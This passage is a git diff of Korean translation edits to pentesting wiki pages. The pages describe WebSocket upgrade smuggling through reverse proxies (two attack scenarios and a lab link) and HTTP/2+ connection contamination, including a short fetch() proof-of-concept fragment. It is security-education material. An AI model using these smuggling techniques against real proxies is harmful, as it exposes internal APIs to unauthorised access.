수 있게 합니다. 따라서 `proxy_pass` URL에 경로를 지정하는 것은 접근을 제한하지 않습니다. @@ -52,7 +52,7 @@ Connection: Upgrade, HTTP2-Settings ### 시나리오 1 -이 시나리오에서는 공개 웹소켓 API와 접근할 수 없는 내부 REST API를 제공하는 백엔드가 악의적인 클라이언트의 공격 대상이 됩니다. 공격은 여러 단계로 진행됩니다: +이 시나리오에서는 공용 웹소켓 API와 접근할 수 없는 내부 REST API를 제공하는 백엔드가 악의적인 클라이언트의 공격 대상이 됩니다. 공격은 여러 단계로 진행됩니다: 1. 클라이언트는 잘못된 `Sec-WebSocket-Version` 프로토콜 버전을 헤더에 포함하여 리버스 프록시로 업그레이드 요청을 보냅니다. 프록시는 `Sec-WebSocket-Version` 헤더를 검증하지 못하고 업그레이드 요청이 유효하다고 믿고 이를 백엔드로 전달합니다. 2. 백엔드는 `Sec-WebSocket-Version` 헤더의 잘못된 프로토콜 버전을 나타내는 상태 코드 `426`으로 응답합니다. 리버스 프록시는 백엔드의 응답 상태를 간과하고 웹소켓 통신 준비가 완료되었다고 가정하며 응답을 클라이언트에게 전달합니다. @@ -64,26 +64,26 @@ Connection: Upgrade, HTTP2-Settings ### 시나리오 2 -이 시나리오는 공개 웹소켓 API와 건강 검사를 위한 공개 REST API, 그리고 접근할 수 없는 내부 REST API를 가진 백엔드를 포함합니다. 공격은 더 복잡하며 다음 단계로 진행됩니다: +이 시나리오는 공용 웹소켓 API와 건강 검사를 위한 공용 REST API, 그리고 접근할 수 없는 내부 REST API를 가진 백엔드를 포함합니다. 공격은 더 복잡하며 다음 단계로 진행됩니다: -1. 클라이언트는 건강 검사 API를 트리거하기 위해 POST 요청을 보내고 추가 HTTP 헤더 `Upgrade: websocket`을 포함합니다. NGINX는 리버스 프록시로서 이를 `Upgrade` 헤더만 기반으로 표준 업그레이드 요청으로 해석하고 요청의 다른 측면을 무시하며 백엔드로 전달합니다. -2. 백엔드는 건강 검사 API를 실행하고 공격자가 제어하는 외부 리소스에 접근하여 상태 코드 `101`이 포함된 HTTP 응답을 반환합니다. 이 응답은 백엔드에서 수신되어 NGINX로 전달되며, 프록시는 상태 코드만 검증하여 웹소켓 연결이 설정되었다고 착각하게 됩니다. +1. 클라이언트는 건강 검사 API를 트리거하기 위해 POST 요청을 보내고, 추가 HTTP 헤더 `Upgrade: websocket`을 포함합니다. NGINX는 리버스 프록시로서 이를 `Upgrade` 헤더만 기반으로 표준 업그레이드 요청으로 해석하고 요청의 다른 측면을 무시하며 백엔드로 전달합니다. +2. 백엔드는 건강 검사 API를 실행하고, 공격자가 제어하는 외부 리소스에 접근하여 상태 코드 `101`이 포함된 HTTP 응답을 반환합니다. 이 응답은 백엔드에 의해 수신되고 NGINX로 전달되며, 프록시는 상태 코드만 검증하여 웹소켓 연결이 설정되었다고 착각하게 됩니다. ![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png) > **경고:** 이 기술의 복잡성은 상태 코드 101을 반환할 수 있는 엔드포인트와 상호작용할 수 있는 능력을 요구함에 따라 증가합니다. -결국 NGINX는 클라이언트와 백엔드 간에 웹소켓 연결이 존재한다고 믿게 됩니다. 실제로는 그런 연결이 존재하지 않으며, 건강 검사 REST API가 목표였습니다. 그럼에도 불구하고 리버스 프록시는 연결을 열어 두어 클라이언트가 이를 통해 비공식 REST API에 접근할 수 있게 합니다. +결국 NGINX는 클라이언트와 백엔드 간에 웹소켓 연결이 존재한다고 믿게 됩니다. 실제로는 그러한 연결이 존재하지 않으며, 건강 검사 REST API가 목표였습니다. 그럼에도 불구하고 리버스 프록시는 연결을 열어 두어 클라이언트가 이를 통해 비공식 REST API에 접근할 수 있게 합니다. ![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png) -대부분의 리버스 프록시는 이 시나리오에 취약하지만, 악용은 일반적으로 낮은 심각도로 간주되는 외부 SSRF 취약점의 존재에 따라 달라집니다. +대부분의 리버스 프록시는 이 시나리오에 취약하지만, 악용은 일반적으로 저위험 문제로 간주되는 외부 SSRF 취약점의 존재에 달려 있습니다. #### 실습 [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)에서 두 시나리오를 테스트할 수 있는 실습을 확인하십시오. -### 참고자료 +### 참고 문헌 - [https://blog.assetnote.io/2021/03/18/h2c-smuggling/](https://blog.assetnote.io/2021/03/18/h2c-smuggling/) - [https://bishopfox.com/blog/h2c-smuggling-request](https://bishopfox.com/blog/h2c-smuggling-request) diff --git a/src/pentesting-web/http-connection-contamination.md b/src/pentesting-web/http-connection-contamination.md index 3a6997f5d..ca5961811 100644 --- a/src/pentesting-web/http-connection-contamination.md +++ b/src/pentesting-web/http-connection-contamination.md @@ -4,7 +4,7 @@ **이 포스트의 요약입니다: [https://portswigger.net/research/http-3-connection-contamination](https://portswigger.net/research/http-3-connection-contamination)**. 자세한 내용은 확인하세요! -웹 브라우저는 공유 IP 주소와 공통 TLS 인증서를 통해 서로 다른 웹사이트에 대해 단일 HTTP/2+ 연결을 재사용할 수 있습니다 [HTTP connection coalescing](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing). 그러나 이는 **첫 요청 라우팅**과 충돌할 수 있으며, 여기서 후속 요청은 첫 요청에 의해 결정된 백엔드로 전송됩니다. 이러한 잘못된 라우팅은 보안 취약점을 초래할 수 있으며, 특히 와일드카드 TLS 인증서와 `*.example.com`과 같은 도메인과 결합될 때 더욱 그렇습니다. +웹 브라우저는 공유 IP 주소와 공통 TLS 인증서가 주어지면 [HTTP connection coalescing](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing)를 통해 서로 다른 웹사이트에 대해 단일 HTTP/2+ 연결을 재사용할 수 있습니다. 그러나 이는 **first-request routing**과 충돌할 수 있으며, 여기서 후속 요청은 첫 번째 요청에 의해 결정된 백엔드로 전송됩니다. 이러한 잘못된 라우팅은 보안 취약점을 초래할 수 있으며, 특히 와일드카드 TLS 인증서와 `*.example.com`과 같은 도메인과 결합될 때 더욱 그렇습니다. 예를 들어, `wordpress.example.com`과 `secure.example.com`이 동일한 리버스 프록시에서 제공되고 공통 와일드카드 인증서를 가지고 있다면, 브라우저의 연결 집합이 `secure.example.com`에 대한 요청이 잘못 처리되어 WordPress 백엔드로 전송될 수 있으며, 이로 인해 XSS와 같은 취약점이 악용될 수 있습니다. @@ -16,7 +16,7 @@ fetch("//sub2.hackxor.net/", { mode: "no-cors", credentials: "include" }) } ) ``` -위협은 현재 첫 번째 요청 라우팅의 희귀성과 HTTP/2의 복잡성으로 인해 제한적입니다. 그러나 IP 주소 일치 요구 사항을 완화하는 HTTP/3의 제안된 변경 사항은 공격 표면을 넓힐 수 있으며, MITM 공격 없이도 와일드카드 인증서가 있는 서버를 더 취약하게 만들 수 있습니다. +위협은 현재 첫 번째 요청 라우팅의 희귀성과 HTTP/2의 복잡성으로 인해 제한적입니다. 그러나 IP 주소 일치 요구 사항을 완화하는 HTTP/3의 제안된 변경 사항은 공격 표면을 넓힐 수 있으며, MITM 공격 없이도 와일드카드 인증서를 가진 서버를 더 취약하게 만들 수 있습니다. 모범 사례에는 리버스 프록시에서 첫 번째 요청 라우팅을 피하고, 특히 HTTP/3의 출현과 함께 와일드카드 TLS 인증서에 주의하는 것이 포함됩니다. 이러한 복잡하고 상호 연결된 취약성에 대한 정기적인 테스트와 인식은 웹 보안을 유지하는 데 중요합니다.